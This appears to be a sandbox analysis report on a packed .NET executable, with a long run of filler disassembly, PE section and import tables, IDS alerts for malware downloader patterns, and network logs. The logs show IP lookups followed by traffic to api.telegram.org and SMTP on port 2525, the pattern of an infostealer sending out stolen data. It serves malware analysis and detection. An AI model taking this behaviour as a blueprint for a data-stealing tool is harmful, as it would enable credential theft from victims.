add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb6334	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb8000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xba000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb4394	0xb4400	f2c21709783cfecf3bab12beb0a753c9	False	0.9138281791782247	data	7.869956261157549	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb8000	0x600	0x600	8cc51061b76e2ed9a4b6d2ac40a49596	False	0.4446614583333333	data	4.208815747903402	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xba000	0xc	0x200	1ec507a80a6c9a0a331e6f4c2391e4c1	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xb8090	0x354	data			0.4460093896713615
RT_MANIFEST	0xb83f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T09:03:24.118819+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49720	443	192.168.2.7	188.114.97.3
2024-07-26T09:03:09.919075+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49706	443	192.168.2.7	188.114.97.3
2024-07-26T09:03:45.702091+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	55797	40.127.169.103	192.168.2.7
2024-07-26T09:03:10.643717+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49707	80	192.168.2.7	193.122.6.168
2024-07-26T09:03:09.300053+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49702	80	192.168.2.7	193.122.6.168
2024-07-26T09:03:24.465395+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49717	52.165.165.26	192.168.2.7
2024-07-26T09:03:06.940575+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49702	80	192.168.2.7	193.122.6.168
2024-07-26T09:03:44.316920+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	55796	40.127.169.103	192.168.2.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 09:03:05.825613022 CEST	49702	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:05.831568956 CEST	80	49702	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:05.831721067 CEST	49702	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:05.832084894 CEST	49702	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:05.837492943 CEST	80	49702	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:06.531081915 CEST	80	49702	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:06.535823107 CEST	49702	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:06.540728092 CEST	80	49702	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:06.891879082 CEST	80	49702	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:06.940574884 CEST	49702	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:06.955890894 CEST	49703	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:06.955939054 CEST	443	49703	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:06.956557035 CEST	49703	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:06.963951111 CEST	49703	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:06.963975906 CEST	443	49703	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:07.438919067 CEST	443	49703	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:07.439071894 CEST	49703	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:07.444463015 CEST	49703	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:07.444472075 CEST	443	49703	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:07.444812059 CEST	443	49703	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:07.487534046 CEST	49703	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:07.505680084 CEST	49703	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:07.548540115 CEST	443	49703	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:07.960217953 CEST	443	49703	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:07.960319042 CEST	443	49703	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:07.960413933 CEST	49703	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:07.969619036 CEST	49703	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:07.992885113 CEST	49702	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:07.998681068 CEST	80	49702	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:09.247378111 CEST	80	49702	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:09.250452042 CEST	49706	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:09.250489950 CEST	443	49706	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:09.250610113 CEST	49706	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:09.250868082 CEST	49706	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:09.250881910 CEST	443	49706	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:09.300052881 CEST	49702	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:09.761877060 CEST	443	49706	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:09.774473906 CEST	49706	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:09.774568081 CEST	443	49706	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:09.919105053 CEST	443	49706	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:09.919323921 CEST	443	49706	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:09.919392109 CEST	49706	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:09.919786930 CEST	49706	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:09.923782110 CEST	49702	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:09.924933910 CEST	49707	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:09.929918051 CEST	80	49707	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:09.930032969 CEST	49707	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:09.930144072 CEST	49707	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:09.930629015 CEST	80	49702	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:09.930855036 CEST	49702	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:09.934993029 CEST	80	49707	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:10.593067884 CEST	80	49707	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:10.594641924 CEST	49709	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:10.594716072 CEST	443	49709	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:10.594796896 CEST	49709	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:10.595124006 CEST	49709	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:10.595141888 CEST	443	49709	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:10.643717051 CEST	49707	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:11.080826998 CEST	443	49709	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:11.083190918 CEST	49709	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:11.083239079 CEST	443	49709	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:11.215873957 CEST	443	49709	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:11.215966940 CEST	443	49709	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:11.216449976 CEST	49709	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:11.216864109 CEST	49709	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:11.222276926 CEST	49710	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:11.227142096 CEST	80	49710	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:11.227317095 CEST	49710	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:11.227489948 CEST	49710	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:11.232238054 CEST	80	49710	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:13.940898895 CEST	80	49710	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:13.954924107 CEST	49711	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:13.987483025 CEST	49710	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:14.185848951 CEST	80	49710	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:14.185941935 CEST	49710	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:14.186134100 CEST	80	49711	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:14.186222076 CEST	49711	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:14.186454058 CEST	49711	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:14.191287041 CEST	80	49711	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:16.051285028 CEST	80	49711	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:16.069993019 CEST	49712	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:16.070053101 CEST	443	49712	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:16.070143938 CEST	49712	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:16.076559067 CEST	49712	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:16.076590061 CEST	443	49712	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:16.076704979 CEST	49710	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:16.082537889 CEST	80	49710	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:16.087300062 CEST	49710	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:16.096885920 CEST	49711	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:16.577074051 CEST	443	49712	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:16.582406998 CEST	49712	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:16.582432032 CEST	443	49712	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:16.719886065 CEST	443	49712	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:16.719976902 CEST	443	49712	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:16.720025063 CEST	49712	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:16.723089933 CEST	49712	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:16.782828093 CEST	49711	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:16.786812067 CEST	49713	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:16.788384914 CEST	80	49711	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:16.788434982 CEST	49711	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:16.791650057 CEST	80	49713	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:16.791708946 CEST	49713	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:16.791847944 CEST	49713	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:16.796879053 CEST	80	49713	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:19.046257019 CEST	80	49713	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:19.048593044 CEST	49714	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:19.048628092 CEST	443	49714	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:19.048765898 CEST	49714	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:19.049093008 CEST	49714	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:19.049105883 CEST	443	49714	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:19.097068071 CEST	49713	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:19.511085987 CEST	443	49714	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:19.512948036 CEST	49714	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:19.512973070 CEST	443	49714	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:19.632844925 CEST	443	49714	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:19.632921934 CEST	443	49714	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:19.632999897 CEST	49714	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:19.633580923 CEST	49714	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:19.637445927 CEST	49713	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:19.638541937 CEST	49715	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:19.643400908 CEST	80	49713	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:19.643529892 CEST	49713	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:19.643709898 CEST	80	49715	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:19.643805027 CEST	49715	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:19.643990040 CEST	49715	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:19.649305105 CEST	80	49715	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:22.177618027 CEST	80	49715	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:22.179352999 CEST	49716	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:22.179400921 CEST	443	49716	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:22.179471016 CEST	49716	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:22.179747105 CEST	49716	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:22.179758072 CEST	443	49716	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:22.221874952 CEST	49715	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:22.641446114 CEST	443	49716	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:22.643264055 CEST	49716	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:22.643302917 CEST	443	49716	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:22.790102005 CEST	443	49716	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:22.790200949 CEST	443	49716	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:22.790254116 CEST	49716	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:22.796539068 CEST	49716	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:22.827532053 CEST	49715	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:22.828885078 CEST	49718	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:22.833036900 CEST	80	49715	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:22.833084106 CEST	49715	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:22.833739042 CEST	80	49718	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:22.833801031 CEST	49718	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:22.834057093 CEST	49718	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:22.839128971 CEST	80	49718	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:23.482217073 CEST	80	49718	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:23.483360052 CEST	49720	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:23.483395100 CEST	443	49720	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:23.483465910 CEST	49720	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:23.483668089 CEST	49720	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:23.483678102 CEST	443	49720	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:23.534396887 CEST	49718	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:23.965667009 CEST	443	49720	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:23.967667103 CEST	49720	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:23.967699051 CEST	443	49720	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:24.118855000 CEST	443	49720	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:24.119066954 CEST	443	49720	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:24.119179010 CEST	49720	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:24.119705915 CEST	49720	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:24.137238026 CEST	49718	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:24.140444040 CEST	49722	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:24.142745972 CEST	80	49718	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:24.142842054 CEST	49718	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:24.145524979 CEST	80	49722	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:24.145667076 CEST	49722	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:24.147607088 CEST	49722	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:24.152587891 CEST	80	49722	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:26.356765985 CEST	80	49722	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:26.359874010 CEST	49725	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:26.359915972 CEST	443	49725	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:26.360249043 CEST	49725	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:26.360435009 CEST	49725	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:26.360445976 CEST	443	49725	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:26.409490108 CEST	49722	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:26.864325047 CEST	443	49725	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:26.878006935 CEST	49725	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:26.878038883 CEST	443	49725	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:27.017858982 CEST	443	49725	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:27.017968893 CEST	443	49725	188.114.97.3	192.168.2.7
Jul 26, 2024 09:03:27.018022060 CEST	49725	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:27.019392014 CEST	49725	443	192.168.2.7	188.114.97.3
Jul 26, 2024 09:03:27.043045998 CEST	49722	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:27.048341036 CEST	80	49722	193.122.6.168	192.168.2.7
Jul 26, 2024 09:03:27.048403978 CEST	49722	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:27.051434994 CEST	49726	443	192.168.2.7	149.154.167.220
Jul 26, 2024 09:03:27.051460028 CEST	443	49726	149.154.167.220	192.168.2.7
Jul 26, 2024 09:03:27.051536083 CEST	49726	443	192.168.2.7	149.154.167.220
Jul 26, 2024 09:03:27.052506924 CEST	49726	443	192.168.2.7	149.154.167.220
Jul 26, 2024 09:03:27.052516937 CEST	443	49726	149.154.167.220	192.168.2.7
Jul 26, 2024 09:03:27.673579931 CEST	443	49726	149.154.167.220	192.168.2.7
Jul 26, 2024 09:03:27.673825026 CEST	49726	443	192.168.2.7	149.154.167.220
Jul 26, 2024 09:03:27.734774113 CEST	49726	443	192.168.2.7	149.154.167.220
Jul 26, 2024 09:03:27.734791994 CEST	443	49726	149.154.167.220	192.168.2.7
Jul 26, 2024 09:03:27.735407114 CEST	443	49726	149.154.167.220	192.168.2.7
Jul 26, 2024 09:03:27.739933968 CEST	49726	443	192.168.2.7	149.154.167.220
Jul 26, 2024 09:03:27.780513048 CEST	443	49726	149.154.167.220	192.168.2.7
Jul 26, 2024 09:03:27.918943882 CEST	443	49726	149.154.167.220	192.168.2.7
Jul 26, 2024 09:03:27.919035912 CEST	443	49726	149.154.167.220	192.168.2.7
Jul 26, 2024 09:03:27.919100046 CEST	49726	443	192.168.2.7	149.154.167.220
Jul 26, 2024 09:03:27.922861099 CEST	49726	443	192.168.2.7	149.154.167.220
Jul 26, 2024 09:03:33.156932116 CEST	49707	80	192.168.2.7	193.122.6.168
Jul 26, 2024 09:03:34.440284014 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:34.445215940 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:34.445343971 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:36.176240921 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:36.176511049 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:36.181655884 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:36.523237944 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:36.523497105 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:36.529000044 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:36.842788935 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:36.843630075 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:36.848593950 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:37.172761917 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:37.172775984 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:37.172787905 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:37.172964096 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:37.201371908 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:37.206260920 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:37.523972034 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:37.527039051 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:37.532322884 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:37.851963043 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:37.853307962 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:37.859302998 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:38.166686058 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:38.180031061 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:38.184792995 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:40.522603035 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:40.523319960 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:40.528223991 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:40.842854977 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:40.843704939 CEST	2525	49727	203.124.44.4	192.168.2.7
Jul 26, 2024 09:03:40.843766928 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:40.850321054 CEST	49727	2525	192.168.2.7	203.124.44.4
Jul 26, 2024 09:03:40.855396986 CEST	2525	49727	203.124.44.4	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 09:03:05.810882092 CEST	52429	53	192.168.2.7	1.1.1.1
Jul 26, 2024 09:03:05.818300962 CEST	53	52429	1.1.1.1	192.168.2.7
Jul 26, 2024 09:03:06.947355032 CEST	50025	53	192.168.2.7	1.1.1.1
Jul 26, 2024 09:03:06.955200911 CEST	53	50025	1.1.1.1	192.168.2.7
Jul 26, 2024 09:03:27.042723894 CEST	50679	53	192.168.2.7	1.1.1.1
Jul 26, 2024 09:03:27.050193071 CEST	53	50679	1.1.1.1	192.168.2.7
Jul 26, 2024 09:03:33.355645895 CEST	59996	53	192.168.2.7	1.1.1.1
Jul 26, 2024 09:03:34.363585949 CEST	59996	53	192.168.2.7	1.1.1.1
Jul 26, 2024 09:03:34.434303999 CEST	53	59996	1.1.1.1	192.168.2.7
Jul 26, 2024 09:03:34.434468031 CEST	53	59996	1.1.1.1	192.168.2.7
Jul 26, 2024 09:03:39.604254007 CEST	53	49769	162.159.36.2	192.168.2.7
Jul 26, 2024 09:03:40.088443041 CEST	65345	53	192.168.2.7	1.1.1.1
Jul 26, 2024 09:03:40.096103907 CEST	53	65345	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 09:03:05.810882092 CEST	192.168.2.7	1.1.1.1	0x9736	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:06.947355032 CEST	192.168.2.7	1.1.1.1	0x7fcf	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:27.042723894 CEST	192.168.2.7	1.1.1.1	0x32a2	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:33.355645895 CEST	192.168.2.7	1.1.1.1	0x2142	Standard query (0)	mail.moonbrosurgical.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:34.363585949 CEST	192.168.2.7	1.1.1.1	0x2142	Standard query (0)	mail.moonbrosurgical.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:40.088443041 CEST	192.168.2.7	1.1.1.1	0xffe	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

